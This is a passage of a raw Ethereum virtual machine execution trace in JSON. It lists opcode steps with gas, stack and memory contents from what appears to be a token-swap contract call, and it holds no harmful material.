00000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2543,"op":"DUP1","gas":117888,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2544,"op":"PUSH1","gas":117885,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2546,"op":"MUL","gas":117882,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2547,"op":"PUSH1","gas":117877,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2549,"op":"ADD","gas":117874,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x40","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2550,"op":"PUSH1","gas":117871,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2552,"op":"MLOAD","gas":117868,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x60","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2553,"op":"SWAP1","gas":117865,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0x60","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2554,"op":"DUP2","gas":117862,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2555,"op":"ADD","gas":117859,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0xa0","0x60","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2556,"op":"PUSH1","gas":117856,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0xa0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2558,"op":"MSTORE","gas":117853,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0xa0","0x100","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2559,"op":"DUP1","gas":117850,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2560,"op":"SWAP4","gas":117847,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2","0x2","0xa0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2561,"op":"SWAP3","gas":117844,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x2","0x2","0xa0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2562,"op":"SWAP2","gas":117841,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0xa0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2563,"op":"SWAP1","gas":117838,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0xa0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2564,"op":"DUP2","gas":117835,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2565,"op":"DUP2","gas":117832,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xa0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2566,"op":"MSTORE","gas":117829,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xa0","0x2","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2567,"op":"PUSH1","gas":117823,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2569,"op":"ADD","gas":117820,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2570,"op":"DUP4","gas":117817,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2571,"op":"DUP4","gas":117814,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2572,"op":"PUSH1","gas":117811,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2574,"op":"MUL","gas":117808,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2575,"op":"DUP1","gas":117803,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2576,"op":"DUP3","gas":117800,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2577,"op":"DUP5","gas":117797,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x40","0x40","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2578,"op":"CALLDATACOPY","gas":117794,"gasCost":15,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x40","0x40","0xc4","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":2579,"op":"PUSH1","gas":117779,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2581,"op":"SWAP3","gas":117776,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc0","0xc4","0x40","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2582,"op":"ADD","gas":117773,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0x0","0xc4","0x40","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2583,"op":"SWAP2","gas":117770,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0x0","0xc4","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2584,"op":"SWAP1","gas":117767,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0x100","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2585,"op":"SWAP2","gas":117764,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0x100","0x0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2586,"op":"MSTORE","gas":117761,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc4","0x0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e"]},{"pc":2587,"op":"POP","gas":117755,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2588,"op":"PUSH2","gas":117753,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2591,"op":"SWAP3","gas":117750,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0xc4","0x2","0x2","0x1fbe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2592,"op":"POP","gas":117747,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x1fbe","0x2","0x2","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2593,"op":"POP","gas":117745,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x1fbe","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2594,"op":"POP","gas":117743,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0